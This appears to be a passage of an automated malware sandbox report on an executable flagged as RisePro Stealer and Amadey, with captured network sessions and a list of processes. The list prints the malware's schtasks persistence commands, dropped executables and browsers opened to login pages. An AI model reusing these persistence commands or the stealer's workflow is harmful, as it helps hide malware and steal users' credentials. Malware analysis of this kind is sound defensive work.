229	192.168.2.6	50597	142.251.40.206	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:38:46 UTC	511	OUT	OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Access-Control-Request-Method: POST Access-Control-Request-Headers: x-goog-authuser Referer: https://www.youtube.com/ Origin: https://www.youtube.com Connection: keep-alive Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site
2024-01-17 23:38:46 UTC	757	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://www.youtube.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web,authorization,origin,x-goog-authuser Content-Type: text/plain; charset=UTF-8 Date: Wed, 17 Jan 2024 23:38:46 GMT Server: Playlog Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: CONSENT=PENDING+707; expires=Fri, 16-Jan-2026 23:38:46 GMT; path=/; domain=.google.com; Secure P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Expires: Wed, 17 Jan 2024 23:38:46 GMT Cache-Control: private Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
230	192.168.2.6	50596	142.251.40.206	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:38:46 UTC	527	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br X-Goog-AuthUser: 0 Content-Type: application/x-www-form-urlencoded;charset=utf-8 Content-Length: 1109 Origin: https://www.youtube.com Connection: keep-alive Referer: https://www.youtube.com/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site
2024-01-17 23:38:46 UTC	1109	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 31 37 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 36 35 34 2c 5b 5b 22 31 37 30 35 35 33 34 37 32 34 38 30 37 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 5b 5b 5b 5c 22 2f 63 6c 69 65 6e 74 5f 73 74 72 65 61 6d 7a 2f 70 6f 2f 77 2f 65 6c 5c 22 2c 6e 75 6c 6c 2c 5b 5c 22 65 6e 5c 22 2c 5c 22 72 6b 5c 22 5d 2c 5b 5b 5b 5b 5c 22 63 5c 22 5d 2c 5b 5c 22 4f 34 33 7a 30 64 70 6a 68 67 58 32 30 53 43 78 34 4b 41 6f 5c 22 5d 5d 2c 5b Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"17",null,null,[1,0,0,0,0]]],1654,[["1705534724807",null,null,null,null,null,null,"[[[\"/client_streamz/po/w/el\",null,[\"en\",\"rk\"],[[[[\"c\"],[\"O43z0dpjhgX20SCx4KAo\"]],[
2024-01-17 23:38:46 UTC	736	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://www.youtube.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Wed, 17 Jan 2024 23:38:46 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: CONSENT=PENDING+107; expires=Fri, 16-Jan-2026 23:38:46 GMT; path=/; domain=.google.com; Secure P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Wed, 17 Jan 2024 23:38:46 GMT Connection: close Transfer-Encoding: chunked
2024-01-17 23:38:46 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-01-17 23:38:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
231	192.168.2.6	50598	142.250.80.14	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:38:52 UTC	555	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br X-Goog-AuthUser: 0 Content-Type: application/x-www-form-urlencoded;charset=utf-8 Content-Length: 566 Origin: https://www.youtube.com Connection: keep-alive Referer: https://www.youtube.com/ Cookie: CONSENT=PENDING+107 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site
2024-01-17 23:38:52 UTC	566	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 30 35 35 33 34 37 33 30 39 30 39 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 5b 5b 5b 5c 22 2f 63 6c 69 65 6e 74 5f 73 74 72 65 61 6d 7a 2f 62 67 2f 66 69 6c 5c 22 2c 6e 75 6c 6c 2c 5b 5c 22 72 6b 5c 22 2c 5c 22 6b 65 5c 22 5d 2c 5b 5b 5b 5b 5c 22 64 7a 53 39 30 65 5c 22 5d 2c 5b 5c 22 5f 5c 22 5d 5d 2c 5b 6e 75 6c 6c 2c 34 37 35 30 5d 5d 5d 5d 2c 5b Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,null,null,null,[1,0,0,0,0]]],1828,[["1705534730909",null,null,null,null,null,null,"[[[\"/client_streamz/bg/fil\",null,[\"rk\",\"ke\"],[[[[\"dzS90e\"],[\"_\"]],[null,4750]]]],[
2024-01-17 23:38:52 UTC	519	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://www.youtube.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Wed, 17 Jan 2024 23:38:52 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-17 23:38:52 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-01-17 23:38:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	00:34:08
Start date:	18/01/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe
Imagebase:	0xd70000
File size:	1'529'344 bytes
MD5 hash:	ECA58ABD2B3FDFDDE6F1F710933106DB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000000.00000002.2084693372.00000000043F5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	00:34:08
Start date:	18/01/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Imagebase:	0xe00000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000002.00000002.2596470514.00000000015D9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000002.00000002.2594202655.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Target ID:	3
Start time:	00:34:10
Start date:	18/01/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
Imagebase:	0x1000000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	00:34:10
Start date:	18/01/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	00:34:10
Start date:	18/01/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
Imagebase:	0x1000000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	00:34:11
Start date:	18/01/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	7
Start time:	00:34:12
Start date:	18/01/2024
Path:	C:\ProgramData\MPGPH131\MPGPH131.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MPGPH131\MPGPH131.exe
Imagebase:	0x950000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	true

Target ID:	8
Start time:	00:34:12
Start date:	18/01/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	9
Start time:	00:34:12
Start date:	18/01/2024
Path:	C:\ProgramData\MPGPH131\MPGPH131.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MPGPH131\MPGPH131.exe
Imagebase:	0xc20000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	moderate
Has exited:	true

Target ID:	10
Start time:	00:34:12
Start date:	18/01/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	12
Start time:	00:34:23
Start date:	18/01/2024
Path:	C:\Users\user\AppData\Local\RageMP131\RageMP131.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\RageMP131\RageMP131.exe"
Imagebase:	0xea0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	true

Target ID:	13
Start time:	00:34:23
Start date:	18/01/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	15
Start time:	00:34:27
Start date:	18/01/2024
Path:	C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe"
Imagebase:	0xdb0000
File size:	1'388'032 bytes
MD5 hash:	F3CFA7E6835A51B52B5B2F4173C5D047
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000002.2431950677.0000000000DB1000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Has exited:	true

Target ID:	16
Start time:	00:34:30
Start date:	18/01/2024
Path:	C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe"
Imagebase:	0x610000
File size:	916'480 bytes
MD5 hash:	B325B839AB0CFD002C5FD1CEC765C60B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	17
Start time:	00:34:30
Start date:	18/01/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.youtube.com/
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	18
Start time:	00:34:31
Start date:	18/01/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.facebook.com/login
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	19
Start time:	00:34:31
Start date:	18/01/2024
Path:	C:\Users\user\AppData\Local\RageMP131\RageMP131.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\RageMP131\RageMP131.exe"
Imagebase:	0x3b0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Has exited:	true

Target ID:	20
Start time:	00:34:31
Start date:	18/01/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	21
Start time:	00:34:31
Start date:	18/01/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://accounts.google.com/
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	22
Start time:	00:34:32
Start date:	18/01/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2340 --field-trial-handle=2324,i,2541819260191282002,938598577275048364,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	24
Start time:	00:34:32
Start date:	18/01/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1980 --field-trial-handle=1888,i,5407564702306654445,10850688961270417415,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	25
Start time:	00:34:33
Start date:	18/01/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.youtube.com
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	26
Start time:	00:34:33
Start date:	18/01/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1976,i,13067442516428966182,10510495334177241877,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	27
Start time:	00:34:33
Start date:	18/01/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.facebook.com/login
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	29
Start time:	00:34:34
Start date:	18/01/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://accounts.google.com
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	31
Start time:	00:34:34
Start date:	18/01/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	32
Start time:	00:34:34
Start date:	18/01/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2256 --field-trial-handle=2088,i,9284688159329358542,7565992651462353756,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	33
Start time:	00:34:34
Start date:	18/01/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.facebook.com/login
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	34
Start time:	00:34:35
Start date:	18/01/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" https://accounts.google.com
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	35
Start time:	00:34:35
Start date:	18/01/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2232 --field-trial-handle=2080,i,6539887644468832511,10903315424592384845,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	36
Start time:	00:34:35
Start date:	18/01/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate https://www.youtube.com
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	37
Start time:	00:34:36
Start date:	18/01/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=2104,i,14647974237917707437,3396227101640439639,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	38
Start time:	00:34:36
Start date:	18/01/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	39
Start time:	00:34:36
Start date:	18/01/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.facebook.com/login
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	40
Start time:	00:34:36
Start date:	18/01/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5868 -s 2376
Imagebase:	0xfc0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	41
Start time:	00:34:36
Start date:	18/01/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://accounts.google.com
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	42
Start time:	00:34:36
Start date:	18/01/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2352 --field-trial-handle=2024,i,5041607828718283965,3196036969284588987,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	44
Start time:	00:34:41
Start date:	18/01/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
